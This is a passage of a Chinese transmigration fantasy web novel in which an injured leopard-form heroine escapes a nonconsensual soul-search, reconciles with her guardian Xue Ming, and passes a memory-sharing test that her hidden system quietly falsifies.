但小说就这德性,对于血冥的内心戏那是只字不提,倒把神思渺吐槽血冥的内心戏写了满满的三大页。 云宛白继续追读。 这回她并没有从最后一页开始看,而是按照之前连载的进度继续往下看。 她看书的速度很快,没一会儿就翻到了最后一页。 而最后一页呈现的字正在不断的扩写当中。 云宛白凑过去仔细一瞧,突然间瞪大了眼睛。 我靠,等一下! 血冥和神思渺这是要在我床头边打起来了?! 不对,好像是为了我打起来的呀!!发生什么事了? 瓜主本人很着急,她特别想睁眼,可无论她怎么操控身体都无济于事,费了半天力气都无法动弹,只好无奈放弃。 偏偏小说的进度还就卡在了这一段的描写当中,大概是字数太多没办法上传云端,就只用省略号来代替,并没有把过程直接描述出来。 急得云宛白都想顺着网线爬出去了。 但很快,她听到了极为悦耳的一声提醒: 【滴!屏幕已重启完毕——】 云宛白秒速扑到大屏幕前按下了开关键,脑袋扬起瞪眼屏息。 快快快,让我看看外头到底怎么个事儿! —— “神思渺!” 血冥飞扑过来之后直接紧紧攥住了他的手腕,眼神陌生而又冰冷,不敢置信地质问道: “你这是要做什么?” 面对血冥的问话,神思渺不自在地别开了眼神:“只是检查而已。” “检,查?”血冥缓慢地念出了这两个字,手里的力道加重,“这话你自己信吗?” 如果只是检查的话,掌心为何会起势,又为何在他闯进来的那一刻忽然收手? 不知想到了什么,神思渺抬眸与他对视,原先的心虚一扫而空,表情也淡淡的:“所以呢,你这是要拦着我。” 迎着血冥的目光,神思渺一点点把自己的手腕从他手中挣脱开来,周身气雾运转,气氛顿时剑拔弩张。 在一片沉默之中,血冥也逐步站到了神思渺的对面,将云宛白牢牢护在了自己身后,表明了自己的态度。 “你告诉我,为什么要对乖乖下手?”血冥隐隐动怒。 他在等一个解释,他不愿意相信神思渺会违背他的意愿下此狠手。 “我只能说,眼下是最好的时机。”神思渺不复温润,神色淡漠,“这时的她不会生起任何的反抗,一切会很顺利,得出来的结果也最真实,不会有任何遮掩。” “那也不至于搜魂吧?”血冥上前一步,紧紧压迫着神思渺,“她重伤未愈,眼下还没转醒。” “我让你来是因为信任你,让你帮她治疗,而不是让你动这种心思的。” “我知你搜魂技巧高超,但你是不是也要征得一下我的意见?” 在血冥与神思渺的对话当中,云宛白这才后知后觉地意识到自己逃过了一劫。 她的心脏骤然跳的有点快,还有一种劫后余生的庆幸感。 幸好血冥来的够快,要不然自己在这个世界上最大的底牌和秘密可能就会被神思渺发现了。 但她百思不得其解:神思渺为什么平白无故要搜我的魂?我是有什么地方暴露了吗?可我跟他接触并不多啊,想暴露也没机会暴露。 “我知道你一定有什么缘由,你先说与我听。”血冥软下了语气,但站位仍然不变,依旧站在云宛白身前。 神思渺沉默了一会儿,忽地笑出了声,摇了摇头喟叹道:“果然什么都瞒不过你。” 他顶着血冥警惕的眼神,慢慢走到一旁的椅子坐下,给自己斟了一盏茶。 “还记得我曾经养的那只宠物吗?”神思渺的眼神中闪过一丝追忆。 “当然记得,”血冥顺势坐在了床边,下意识给云宛白掖了掖被角,扭头回道,“你竟然连猫儿这两个字都不愿意叫她了,到底出了什么事?” “她果真是个天外来客。” 神思渺平地惊雷,直接丢出了一个大炸弹。 别说血冥呼吸一窒,微微瞪大了眼睛,就连躲在屏幕后面的云宛白都炸毛的直接从沙发上弹了起来。 我靠!!! 原男主神思渺居然真的确认了陶灿灿的身份?!! 这这这……到这里为止,原著剧情线基本就崩坏了呀! 这么一搞的话,神思渺和陶灿灿的感情线怎么办,就这么消失了? 她知道之前神思渺对陶灿灿有所怀疑,但那时候只是出于谨慎,没有任何证据啊。可现在他却说的这么笃定,像是亲手抓到了什么把柄一样。 如果说是自己煽动的蝴蝶翅膀,那是风扇的未免也太大了吧…… “不瞒你说,当时我将陶灿灿囚禁在赤凌峰后,在她吃食中下了药令她昏睡,然后就对她搜了一次魂。” 神思渺的搜魂技巧乃是他的独门秘技,他既可以让被搜魂的人痛不欲生,恨不得自灭魂魄;也可以让对方毫无察觉,不留下任何的后遗症。 只是搜魂这种方式多少违背人性,按理来讲,他只会对敌人和阶下囚用此手段。 “搜魂之后我才明白她为何如此聪慧,她竟是天外来客,魂魄寄居在了这白猫的皮囊内。” “而且她所谋甚广,博爱众生,利用我来与其他几界的余孽勾结,处事观简直滑天下之大稽。” 神思渺不愿意讲的太直白,但还算是公正客观的将自己滑铁卢的经过说清楚了,血冥听的都有些不忍。 没想 到料事如神的神思渺也有灯下黑的一天,被他养了这么久的白猫摆了一道。难怪这段时间神思渺的性情变了许多,变的草木皆兵。 “就在前段时间,陶灿灿居然还被一群乌合之众给救走了,我严防死守竟也留不住她,至今都没有找到她的下落。” “我之前对她没有防备,让她知道了仙界太多事,还差点暴露了神君的身份,好在那时我也留了一个心眼,并没有说太多。” “但最令我胆寒的是,哪怕被囚禁,她都能掀起这么大的风浪,不得不令人提防。” “这是因我疏忽而造成的巨大变数,是我的过错,所以,我很不希望有第二个陶灿灿出现。” 神思渺看向血冥,忧心忡忡:“反正冰棘豹还昏睡着,现在讲与你听也无妨。” “你家的冰棘豹也有些过于聪慧了,完全不像是妖界能自主诞出的天才。” “还有这次你被妖界俘虏,冰棘豹居然能快我一步赶到那里,偏偏还替你挡下了那一掌,最后引你逼出心头血助她恢复妖丹,使她的修炼上限更进一步。” “这一环扣一环极为巧妙,合乎常理却又不得不令人生疑。” “血冥,你不觉得这一切都发生的太过巧合了吗?” 隔着屏幕偷听的云宛白这下总算明白了,神思渺这是遭受背叛之后干脆谁都不信,连带着把她也怀疑上了。 冤枉啊!! 我哪有你想得这么聪明!! 哎等等,明明我才是苦主好吗,能不能别倒打一耙! “当然,这些心里话我本不打算告诉你,毕竟你拿这只冰棘豹当心头肉,你们之间的感情我一个外人也无法完全体会。” “但关乎六界大事,关乎你的安危,我不得不这么做,甚至得赶在你之前替你解决后患。是你心变软了,血冥。” 吃瓜群众云宛白一个心惊,当真是怕急了,虽然她觉得血冥不会把自己交出去,但耐不住神思渺这原男主性情逐渐变癫。 万一他趁血冥不在又杀回来,非要给她搜魂呢? 求人不如求己,云宛白赶紧在意识空间里找到反馈日志,询问金手指自己的身份会不会被土著发现。 不过很快金手指就给出了令她满意的答复,那就是金手指的优先级远高于神思渺的搜魂之技,更高于陶灿灿的穿越异能。 而且金手指早就对这种突发情况制作好了应对措施,保证无痛无害,让神思渺察觉不出任何异常。 云宛白长舒了一口气,看来只要不是在战斗中赌输了命,金手指还是有很多不错的保命技巧的。 “我知道了。”血冥低头,态度显然软化了许多。 “所以,你这是同意我搜魂了?”神思渺一愣。 “想什么呢,”血冥重新抬起头,抽了抽嘴角,“我什么时候说同意了?我看你也累了,你就早点回去休息吧。” 血冥送客送的很痛快。 手中的茶杯都被血冥夺走,神思渺还想再说什么,却被无情打断。 “搜魂这事儿就别再提了,下次我也不一定有这么好的脾气,你赶紧走吧,再不走我就压不住火气了。” 被推出殿外的神思渺:“……” 呵,男人! “冰棘豹,你最好别起异心……”神思渺对着大殿的方向慢慢将眼睛眯起,轻哼了一声后离开了。 现在大殿内只剩下了云宛白和血冥。 血冥仍坐在云宛白的床边,轻轻摸了摸她的脑袋。 告别了搜魂危机之后的云宛白,现在才腾出心思去处理小说中得来的信息量。 白白挨了一掌的事儿,她多少有点不痛快。 难道在血冥看来,自己就是一个在关键时刻会一命换一命的蠢货?他是料准了她会这么做,故意看她的笑话? 虽然若是再发生一次,她很有可能还是会这么做……但是!这绝对不是血冥能够心安理得的理由! 云宛白的内心别扭矛盾到了极点,有一种不吐不快的愤懑感。 她甚至怀疑自己是不是太犯贱了,为了那么点感情羁绊就甘愿以命相抵。 是,她是缺失亲情,只要别人对她好就恨不得百倍奉还,掏心掏肺地想留住所谓的爱。 明明一开始还坚定的想着要利用血冥抱大腿走上豹生巅峰,但理想与现实总是有差距,她还是贪恋了与血冥、与宿庚、与所有对她好的人给出的温暖,变得像是失去了理智一样。 虽然为了救自己,血冥也付出了他的心头血,心头血的重要程度云宛白也是清楚的。 但她心里总归有点不是滋味。 云宛白很多的话想说,但又不愿开口,她甚至想就这么逃避的继续昏睡下去,让血冥赶紧离开,不见为快。 “我知道你醒了,乖乖。” 血冥揉了揉她的脑袋,轻声叹道。 第64章 第64章乖乖让我摸肚子了!她太…… 不可能! 血冥怎么知道我醒了! 正在意识空间里emo躺平的云宛白完全不相信他的鬼话。 她是醒了没错,问题是她现在还控制不了自己的身体啊,要不然也不可能骗过神思渺。 还有,就算我醒了又怎么样,你们的对话我听不得吗? 难不成你也觉得我处心积虑,用苦肉计引你上套? 要是你真这么想,血冥,那我可真就是看错你了。 经历了情绪的大起大落后,云宛白现在很敏感,脾气很暴躁,一点就炸。 说真的,她不想当个斤斤计较的人,当初飞扑出去的时候她就没想那么多,也没打算要过任何回报。 既然做了那就不要后悔,洒脱一点,这是她原本的想法。 但理想与现实是有差距的,她内心的负面情绪还是控制不住地冒出来。 当这两种极端的情绪同时攻击着她的思维逻辑时,这已经不在她能够独立处理消化的能力范围内了。 啊啊啊烦死了! 这么瞻前顾后根本不是我的性格啊! 云宛白,你就不能支楞起来吗? 就在她把情绪矛头对准自己的时候。 “乖乖,我知道你醒着。”血冥又讲了一遍。 他看向云宛白,眸色柔软,伸出手轻轻揉了揉她的脑袋。 这种感觉很奇妙,虽然乖乖依然沉睡着,神思渺也不认为她清醒着。 但血冥就是有一种莫名的直觉认为乖乖其实什么都听得见。 也正因为她没完全醒,有些心里话血冥才敢说出来。 在云宛白面前,血冥的脾气当真改了许多。他不是一个能轻易道歉的人,唯有在乖乖面前才会低头服软,诚心认错。 但凡换成别人,他才不在意其他人会怎么想。 也只有在乖乖面前,道歉这个行为才不会成为一种负担,不会成为与面子挂钩的象征。 他在昏睡的乖乖面前袒露了自己的心声,表达了所有的歉意。 有时候,平静的诉说比嚎啕大哭更有杀伤力。尤其是血冥这样出了名的冷血男二。 他这一念就将近念了好几个时辰,把所有的过错全部揽到了自己的头上。 她把云宛白想说的台词全部抢走了,让她根本骂不出口。 云宛白在意识空间里听的又气又笑,但不得不承认,在听完了血冥的心声之后,暴躁的情绪被抚平了许多,整个人慢慢平稳了下来。 没错,说她没骨气也好,她就是这么好哄。 以前在现实世界中,她作为能干的暴躁牛马几欲离职,但只要老板夸她几句哄个两下,她就又气鼓鼓地坐回到了工位上继续干活。 光凭着一个忍字,就差点熬到了小私企的副总位置上,这些都离不开她所谓的“大度”。 只可惜后来还是没干过天降关系户,就一直在主管位置上继续做牛做马。 她知道自己就这破性格,很难再改变。 但怎么办,这就是她。 难不成继续犟着?让血冥掏心掏肺继续证明些什么? 算了吧,都是家人。 反正她 的初衷已经达成了,血冥没死,而自己现在也活蹦乱跳,反而还因祸得福,这不就是标准的HappyEnding吗? 云宛白缓缓睁开了眼,虚弱地嗷了一声。 “乖乖,你醒了!”血冥噌的一下站了起来两眼放光。 但随之而来的是害羞和惊慌,方才的坦然和从容不复存在,整个人僵在原地,两只手板正地贴在了身体两侧。 “哦对,宿庚!宿庚!”他急急忙忙跑了出去。 云宛白刚想张口说些安慰的话,随着气氛的打破,成功吞回到了肚子里。 在宿庚仔仔细细地检查之后,云宛白的身体基本无恙,再吃几天的流食让肠胃慢慢恢复之后就能下床了。 血冥很是高兴给整个统妖司放了一天的假,与此同时他的心中又想起了很早之前乖乖曾给过他的建议,就又给大家伙儿发放了额外的魔晶补贴。 这下子寂静的魔殿终于热闹起来了,到处洋溢着欢乐的气息。 若是血冥认真听的话会发现他们喊的是“豹儿真好!”“豹儿果真最懂我们!”“不白疼它!” 完全没他魔尊什么事儿。 迎着这份喜气,血冥这才回到乖乖的床边,迟来地不太自然。 云宛白现在还很虚弱,只能维持着豹身,就连口吐人言的功能也暂时还没恢复。 不过她跟血冥之间不需要说话,就能读懂对方眼神当中的意思。 “乖乖,所以在那之前,你应该都听到了吧。”血冥无端紧张,默默捏紧了袖口。 “嗷呜……”云宛白虚弱地喊了一声表示听到了。 “我知道,一切是我不好,害你为我遭罪。你,能原谅我吗?”血冥弱弱问道。 他这副样子绝对算得上是云宛白限定,只有在她面前才会这么服软。 他希望能和乖乖回到从前,不要因为这件事伤到乖乖的心,从此与他有了嫌隙。 虽然他知道自己做的事情确实很过分,要求乖乖完全把这件事抛到脑后也不现实,但他还是希望乖乖能够给他机会,让他弥补因为自己的不信任而犯下的过错。 血冥也承认,自己确实耍了点心眼,故意在乖乖面前装出惹他心疼的脆弱模样。 这种神态要是被神思渺见了,定是要呕吐出来奔逃而走。 但对于血冥的这句话,云宛白没吭声,明摆着不原谅。 哪怕心里已经原谅了,她也不打算这么简简单单地放过血冥,免得他不懂得珍惜。 “那我要怎么做,你才能原谅我?”血冥再一次抛出了直到离谱的问话。 云宛白回了一个白眼,用鼻子重重地呼了一口气,像是无奈,也像是吐槽。 仿佛经历了一场无声的训话,血冥抿了抿唇,顿时觉得棘手极了。 他现在根本找不到任何可以努力的方向,这可怎么办? 眼下身边也没有宿庚,没有什么老师能够指点他,他自己又怎么能把握乖乖的心思? ……唔,宿庚? 他之前是不是教过我,什么样才叫做一个标准的道歉? 表达自己的歉意之后还有一个步骤,是什么来着? 血冥回忆了一番,用不确定的语气问:“乖乖,我保证以后绝对不会在试探你对我的心意,有什么事情我都会告诉你,不让你蒙在鼓里。” 道歉第一步,除了表达自己的歉意之外,一定要说清楚自己到底错在了哪里,表明以后绝对不再犯。 第二步,对于类似的情况要进行引申和保证,再次证明自己真的懂得错在了哪里,态度要诚恳。面对被道歉方的一切指责和怪罪,都要虚心认下,认真从自己身上找原因。 血冥在说这段话的时候,他一直在观察乖乖的神态。 只见乖乖并没有变的更高兴,但也没有在翻白眼给他看,这就说明他道歉的方向是正确的,可以再接再厉。 血冥在内心呼了一口气,狠狠握拳给自己打气。 他继续回想宿庚教授他的道歉第二步,照猫画虎。 “乖乖,我知道你最喜欢的就是人间美食美景了,等你伤养好了之后,你想什么时候去玩就什么时候去,我都陪你去。” “对了,我又找到了几本新的秘籍功法放在了属于你的藏宝库里,想必你应该会感兴趣。” “还有至纯魔息,现在你的体内已有了我的心头血,至尊魔息对你的帮助将大有提升,等你恢复了体魄,我会再帮你淬一次体,到那时你应该也能够进入结丹期的铜阶以上了。” 血冥絮絮叨叨说了好多,各种糖衣炮弹不要钱的拿出来,直击她的心头好。 云宛白怎么可能听不出来这如同公式化模板化的道歉三段论。 而且这一听就是爷爷教给冥冥的,满满都是爷爷曾经讲给她听过的,在他年轻时候哄奶奶的套路。 听着血冥笨拙的安慰,就像是机器人在学习如何用人类情感的模块来丰富自己的表达。 怪辛酸怪努力,又怪好笑的。 云宛白早就没那么生气了,既然血冥给了台阶,那她也不是个得理不饶人的人,至于所谓的补偿真不是让她原谅的关键因素。 只要能够看出血冥是真心悔过,并且对自己的在意程度更深一层,云宛白就已经很满意了。 她就是希望爱她的人能够更爱她,能让她感受到满怀甚至汹涌到要溢出来的的安全感就可以。 “嗷呜~”云宛白心情好多了,连带着自己的动作也逐渐恢复了往日的元气。 她伸了个懒腰,将软乎乎的肚子露了出来,头别向了一边。 血冥忍不住勾起了嘴角,实在没忍住被萌化了的内心慢慢伸出手虚浮在了小肚肚的上空。 云宛白感应到了他的动作,猛的扭头看向他。 血冥心虚,将手掌慢慢握拳收起。 但就在这时,他听到乖乖又嗷了一声,偏过头继续直勾勾的盯着他,还对他眨了眨眼。 这是,什么意思? 血冥能解读出她的眼神,只是他不敢相信。 “乖乖,你这是允许我摸你的肚子吗?” “嗷。” 一鼓作气,再而衰,三而竭。云宛白已经主动了三次,都不见对方有所行动,心中已经有些不爽了。 她瞪了冥冥一眼,扭了扭身体,仿佛在说:还摸不摸肚子了,不摸就拉倒,我给过你机会了啊。 “真的?真的给摸吗?” 血冥很是惊喜的一点点将手往下放,直到真正摸在了乖乖柔软的小肚子上时,依旧不敢置信。 他甚至都不敢左右轻轻揉小肚,就只是按在上方,用心感受着她呼吸的起伏。 神思渺曾经告诉过他,妖兽只要愿意让主人摸肚子,就代表着它对主人完全的信任。 他之前尝试过无数次,但都以失败告终。 而现在,他的手就搭在乖乖肚子上,是不是意味着从这一刻起,乖乖真正的、完全的相信他,将一片赤诚之心郑重放在了他的掌中? 血冥又一次僵住了,良久无言,忽然间又垂下了脑袋,长发遮住了他的脸。 云宛白不解,场面有些尴尬。我好不容易表一次态呢,你这么冷淡的反应让我很难受啊哥。 这个想法还没在她脑海当中完全生成,忽然间,云宛白只感觉到自己被一双大掌用力抱起,整张脸都埋在了温热的胸膛当中,被衣服挤压着快要喘不过气来。 “乖乖,乖乖……”血冥不停地重复念着,将她狠狠裹在了自己的怀里,像是抱着什么绝世珍宝一样无比虔诚。 紧接着,他像是开启了什么可怕的开关,不停将乖乖举起,用脸疯狂蹭她的脑袋,还把脸埋到她脖颈间软乎乎的毛里猛亲。 这样的热情实在是让豹无福消受,大惊失色。 不就是让你rua了一下肚子吗,至于这么反应过度? 疯了疯了,别再亲了! “乖乖乖乖,你为什么这么可爱。”血 冥继续猛亲,不过他到底还是把握住了身为人父的分寸,没亲她的脸。 从一片炙热的狂蹭中好不容易挣脱,云宛白愤愤伸出爪子,用力按在了他的嘴上。 够了!住嘴! 第65章 第65章我可是大大滴良民!好人…… 最终,云宛白以一身的口水和嫌弃的表情结束了与血冥的互动。 她是真没料到一个让摸肚子的举动,居然能让血冥跟发癫了一样性情大变。 本来她只想着血冥一直对摸肚子有点执念,不过之前感情也不算太到位,所以就一直不让摸。 这回也算是互相过命的交情,再加上血冥道歉的态度很诚恳,云宛白倒也不介意趁着这次机会加深彼此的感情,给他一点信心和甜头。 毕竟绝招就得用在最关键的时刻嘛,摸肚子对她来说本来也不是什么大事。 何况血冥有分寸,不会摸到不该摸的位置上,而她在豹身形态的时候也不会有太多的羞耻感。 结果谁能想到,像血冥这么一个冷静自持的人,居然能让云宛白感受到什么叫做窒息的热情。 太可怕了。 血冥的嘴有点红,除了猛亲亲出来的,还有被乖乖爪子精准打击嘴巴后留下来的红印。 他特意控制了魔息没将伤势压下,倒显得他的唇更加鲜红欲滴。 此时回过神来之后,他也对刚才的自己感到有些不好意思,但笑意一直没止住。 “乖乖,你手没事吧?”他还关切地问道。 云宛白:“……” 哼。 她是需要静养,也确实需要吃几天的流食来慢慢恢复肠胃,但这并不代表她浑身没力气,相反,经过这段时间的蕴养和恢复,她的妖力浑厚的可怕。 扇一嘴巴让某人保持清醒的力量,对她来说轻轻松松。 在一番打闹破冰之后,二人的感情不再凝滞,氛围变得轻松了许多。 又休息了三日,云宛白恢复了口吐人言的能力之后,她向冥冥提出了这样一个请求。 “我想,见见神思渺神君。” 这是她经过了深思熟虑的结果。 其实当时在偷听了血冥和神思渺的对话之后,她完全能理解神思渺对她的怀疑之心。 作为血冥最好且唯一的朋友,神思渺之所以这么做,也都是为了保护血冥,免得他被骗。 如果换做自己的话,估计只会比神思渺还要护犊子。 未经许可搜魂是不礼貌了点,但不影响云宛白对他正义男主形象的判断。 起码在最终的大局上,神思渺是好人队领袖。 她可不能让血冥跟神思渺反目成仇,又回到了原剧情你死我活的故事线。 而且作为作者的亲儿子,与神思渺站在对立面显然是一件不明智的事情。 云宛白想的很明白,如果可以的话,她必须要让自己的身份在神思渺心目中做好,得让他放下心来完全信任才行。 最好还能以得天独厚的身份加入到他们兄弟二人的战队里,哪怕当个透明人,也足够她把握剧情发展了。 提出了这个提议之后,云宛白眨巴着眼,期待血冥的回应。 但血冥很是犹豫。 他担心神思渺会和乖乖发生冲突,两边都是他最在乎的人,就像手心和手背,没有一个不重要。 但云宛白还是尽全力地说服了他,不管怎么样,先见一面再说。 在乖乖的不懈努力之下,血冥终于松口,不过他也提出了自己的要求,那就是在乖乖和神思渺见面的期间他必须全程陪同,不给二人留出单独相处的机会。 虽然他知道神思渺并不会做出什么太过分的事,但他也赌不起。 云宛白答应了,催着血冥快去找神思渺。 于是第二天,云宛白就见到了脸色不太好的神思渺以及忧心忡忡的血冥。 神思渺完全没想到他居然会被冰棘豹请回来见面,他都没来得及背地里对她展开调查,居然就被抢先了一步。 “可以了,不要用抓贼的眼神看着我,行吗?”神思渺实在是忍无可忍,扭过头没好气地看向血冥,“有你在,我能对她做什么。” “我没有啊,”血冥秒速收回了目光,装作忙碌泡茶的样子,“你们聊,就当我不存在。” 神思渺:“……” 他别开眼,真不知道该说这家伙什么好。罢了,反正今天的主角不是他,而是这头小豹子。 “你找我。”神思渺正色,并没有轻视她。 “正是,神君大人。”云宛白乖乖问好。 然而她这一称呼让好不容易平静下来想要好好谈话的神思渺又来气了。 他猛地扭过头,伸出食指指着血冥愤愤道:“你真是什么都往外说!我在陶灿灿那里瞒的那么紧,全被你给说完了!你有没有想过万一她——” “刚泡好的阎泉茶,这是魔焰山天然长出来的茶叶,你尝尝看。”血冥立马抢过话头堵住他的嘴,又赶紧把茶顺势放到了神思渺的手中,“来来来,降降火。” 神思渺还想说些什么,可心急的血冥没忍住站了起来,用手托着这盏茶的杯底,让神思渺快点喝别废话。 “咕嘟咕嘟……咳咳咳!!” 神思渺被强行灌了一杯水,什么茶叶滋味都没尝出来,还呛了一口。 他狠狠瞪了一眼血冥,毫无形象地抬起袖子擦了擦嘴,狠狠一甩坐了回去。 这么一弄,他清冷的神君形象早就被破坏了个干净。 行,反正冰棘豹什么都知道,那不如打开天窗说亮话。 “说吧,你为什么想与我见面。”他严肃地问道,身体不由的前倾,语气也隐隐带着些压迫。 他正在目不转睛地观察着冰棘豹,试图从她身上看出些端倪来。 毕竟他手底下已经出现过了一个包藏祸心的妖兽,这份悔恨令他的警惕心已然拉到了最高,对善恶的判断也变得更加敏锐。 不过他发现这只冰棘豹不但不避开他审视的目光,反而更加直接的回望了过来,目光澄澈,底气十足,完全坦坦荡荡任君审视的姿态。 光是这份定力和从容,神思渺就不得不高看她一眼。 “我之所以想见神君,是因为我想证明自己,想让你们能够完完全全的信任我,不要再对我有任何的猜忌和怀疑。” “我一直是信你的,乖乖。”一旁的血冥插嘴道。 “我知道,但我需要一个铁证,一个无法反驳的铁证。”云宛白回道。 “你倒是有几分胆识魄力,”神思渺笑了,原本环抱着的双臂慢慢打开,双手撑在桌上轻叩指尖,“可我要怎么给你做铁证。” 云宛白正襟危坐,缓缓吐出了重磅的两字:“搜魂。” “什么?!”血冥大惊,手中的茶水洒了一地,“来之前你可没跟我说过!” 早知乖乖打的是这主意,血冥说什么也不会促成这场见面。 “嗯,是没说过,那你现在知道了。” 云宛白轻描淡写,目光不躲不闪地仍放在最为关键的神思渺身上:“神君大人,不知您意下如何?” 她完全不把血冥的反驳放在心上,仿佛这个世界就只剩下她跟神思渺对峙。 “乖乖!何必用搜魂来证明自己!”血冥大步走了过来,显然也被打了一个措手不及。 “急什么,我这不是还没答应你家乖乖吗?”神思渺现在的心情莫名开朗,他总算觉得冰棘豹的确是个有趣的妖兽。 和陶灿灿完全不一样,光明磊落,又善于先发制人。 “我曾听闻过在搜魂技法当中,被迫搜魂和主动搜魂是不一样的,想问问神君大人可有此事?” “不错,若是被我搜魂,虽可保你期间无痛且后遗症降到最低,但难免会出现魂魄被侵占的异样感。而且日后再想回忆过往,会有头疾隐隐作痛。” 血冥不悦,挡在了云宛白和神思渺之间,主要还是看向神思渺:“你之前可不是这么说的。” “哎,我们谈话,你别插嘴。” 神思渺把血冥拨到了一旁,一点没把他放在眼里,继续道:“但若是你将记忆主动共享与我,那么我说的那些后遗症全部都不会发生。” “好!那我便与神君共享记忆,愿神君证我清白。”云宛白想也没想的就答应了下来。 “你可要想清楚了,”神思渺反过来劝说道,“主动共享记忆有个最大的弊端,那就是你所有的记忆都会向我开放,无论是浮于表面的,还是被你潜藏在深处的,全部一览无余,毫无隐秘可言。” 而搜魂虽然也能看到大部分的记忆,但由于被迫搜魂是一种外力的介入,在不停翻找记忆的过程当中难免会对原有记忆产生一定的损伤。 搜到最后,记忆画面就会开始损坏并出现一定的缺失,信息量的还原就不会那么的完美。 很有可能最关键的一部分就藏在最后,随着搜索的破坏而消失。 但一 般来讲,99%的进展也足够搜魂之人得到他想要的信息了,剩下的1%不要也罢。 神思渺还算是个坦荡之人,尤其冰棘豹已经向他展现出了应有的诚意,那他自然也不会当个龌龊小人。 搜魂的弊端他都讲在前头,就看冰棘豹自己怎么选择了。 “我没什么不能看的,还望神君给我一次证明立场的机会。”云宛白干脆利落地说道,不给自己任何犹豫的时间。 她的果断爽快瞬间征服了多疑神思渺,他大道了一声:“好!就冲你这份洒脱,我已信了你三分。” “这样,为保万无一失,再加上血冥这家伙肯定不放心,待会儿就由他来护法,同时我再与他共享视野,为你同证清白,如何?” “不需要看记忆我也相信她。”血冥说道。 “让你一起就一起。你可得好好给我护法啊,要是我以后有了头疾,那一定是你护法护的不尽心尽力。”云宛白这一顿甩锅,让血冥立马忘了自己的纠结点。 在云宛白的坚持下,记忆共享大阵已施展完毕,三人就位,正式开始验明云宛白的清白。 说实话,云宛白也有点心惊胆战的,她不知道系统到底会展示出来什么样的画面。 不过系统曾说过它的优先级很高,在天地法则当中远远高过陶灿灿和神思渺,这话并不假。 云宛白跟着他们两人同时观看着记忆,连她自己都看的津津有味,像在看一个与她形象相同但完全是另一只冰棘豹的记忆。 所有的bug都被合理化,金手指的存在也被完全抹去,而且还为金手指消失的这段时间编造出了十分合理的剧情走向。 比她自己圆的剧情要完善完美的多了。 不仅如此,金手指还在记忆中把她的形象塑造的更加光伟正,妥妥的感动魔界之正派励志修炼天才。 这下她完全放下了心,神思渺要是还怀疑她那就是脑子有泡。 除了和血冥互动的那几段,大家看天的看天、看地的看地,尽可能躲避心中的尴尬,其他的都格外圆满。 经过了神思渺的亲自检验,云宛白的清白算是真真正正地立了起来。 不同于血冥在神思渺心中因多年相处而形成的信任,云宛白在他眼中已然是光明的不能再光明的明牌,妥妥的良民。 这么说吧,他现在除了能相信血冥之外,就只能够信任被他亲自搜过魂的冰棘豹了。 这样的地位可想而知。 既然冰棘豹如此忠心,神思渺也不介意将她纳入“放心人选”的行列,有些话也就不再避讳。 更何况哪怕他不说,血冥也自然会和冰棘豹通气。 所以,倒不如从一开始就给出信任的态度,没准有些事情还需要冰棘豹相助。 多一个人也可以多一个思考的方向,避免他们二人走向极端。 “对了,那件事追查的怎么样了?”血冥问道。 “能怎么样,只不过将我的怀疑变成了事实而已,”神思渺自嘲,“那男人一贯如此,伪善至极,恨我入骨。” 大概是冰棘豹的妖兽形态天然具有令人放松警惕的魔力,见云宛白听的茫然但乖乖地没问出口,神思渺倒也不介意简短提一提他自己的身世。 不过在开口前,他盯着血冥:“你没讲过吧?” “这个还没。”血冥老实。 “哦,”神思渺撇嘴,“那行,我自己说。” …… 想当年,他还是神君的时候。 第66章 第66章好惨一男的啊~ 神思渺陷入了追忆,表情苦涩。 “我的父亲便是神界第一人,唯一能被称为神君的大人物。他身居高位却待人平和,永远都是那么的温润,谁见了他都说他平易近人,实乃神界之幸。” “那时我蠢笨,他说什么我就信什么,学他温润待人,用沉稳来作为我闹腾性子的掩饰,也和其他人一样极为仰慕他崇敬他,在他的骄纵之下四处玩乐。” “但也正是因为有这样一位神君父亲在,众神都宠着我纵着我,谁见我都喊一句小神君。我几乎是一人之下万人之上,过的幸福恣意,甚至都快淡忘了母亲的离世。” 血冥和云宛白都安静地听着,不曾打断他的情绪。 只是血冥在听到神思渺谈及因父亲的缘故才被众神宠爱这句时,神情不太赞同地摇了摇头,但还是什么话都没说。 “我忘了一件最重要的事,那就是神界无情,最完美无瑕的好人就越自私虚伪。”神思渺讥笑道。 神界总是自吹自擂什么超脱六界之外,只为研究维护天地规则为己任。 看似无欲无求,但六界的浑水分明就是被神界搅动起来的。 就拿仙界来说,仙界在创立之初就是神界的爪牙。 他们负责从人间筛选培育修仙的人才,让其历经千辛万苦后仙界宗门再将其收纳,培养他们以宗门为重的荣誉意识。 后又以宗门任务的形式对他们进行了一系列的考核之后,掌握规则并懂得向强者低头的人才有可能入神界的眼,能被准入神界得道成神。 修仙并不是修道之人的最终目标,成神才是。 若是出了性格过于张扬的,神界随便动动手就能让他们在化神期渡雷劫之时悄无声息地殒命。 神界这般高高在上的姿态,倒不是说他们有多强,只不过占尽了得天独厚的地势优势。 要知道,神界位于六界最上方,那里最接近天地自然,灵气也最充沛。 可以说,神界诞生之人一出生便已是化神期,普通人根本没法和神界相比。 谁都想去神界看看,谁都想就此成为仙中仙、神界人。 而因地势,仙界与神界相接,这是去往仙界的唯一路径,而恰巧关口处被神界隐藏,设立了门槛。因此,去往神界的唯一途径便是先升仙再成神。 久而久之,神界之人早就换了一批,他们的性格更是古怪无常。 物以类聚,人以群分。这样的神界哪还有什么天生悲悯、渡爱众生的神。 只有为一己私欲无视性命漠视生命的一群刽子手罢了。 由此,受神界操控的仙界更称不上什么名门正派,多的是拿正义幌子暗藏歹心的小人。 仙界第一宗门谪云宗内尤是如此。 “我之所以离开神界被贬到仙界,就是因为我知道了母亲死亡的真相,”神思渺淡淡道,“可笑的是,我竟然连自己什么时候被封锁的记忆都不知,竟对那畜生毕恭毕敬了那么多年。” 云宛白听的入神,不由得被牵动情绪皱起眉头。血冥将它抱在怀中,垂下眼眸睫毛轻颤。 虽然他很早就从神思渺那里听过他的童年,但每次听到这里都会有些不忍。 一个明媚开朗的小神君,从此刻开始便与仇恨为伍,再也不复从前的轻松快乐。 和一出生便在地狱中的自己不同,神思渺经历了从云端坠入泥沼的滋味,怕是只会比他更痛苦些。 “那是七月七,我母亲的忌日,可我只朦朦胧胧有个印象却记不清大概。我猜想,或许母亲是得了重疾离开,要不然一位寿命极长的神族又怎么可能早早离世。” “在我印象中,父母二人伉俪情深感情很好,但为什么当时的我为什么会觉得,父亲不给母亲过忌日这件事很合理呢?” 在神思渺平静的陈述中,云宛白听出了他隐藏的难过,她往血冥怀里缩了缩,很快脑袋上就落下了轻轻的抚摸。 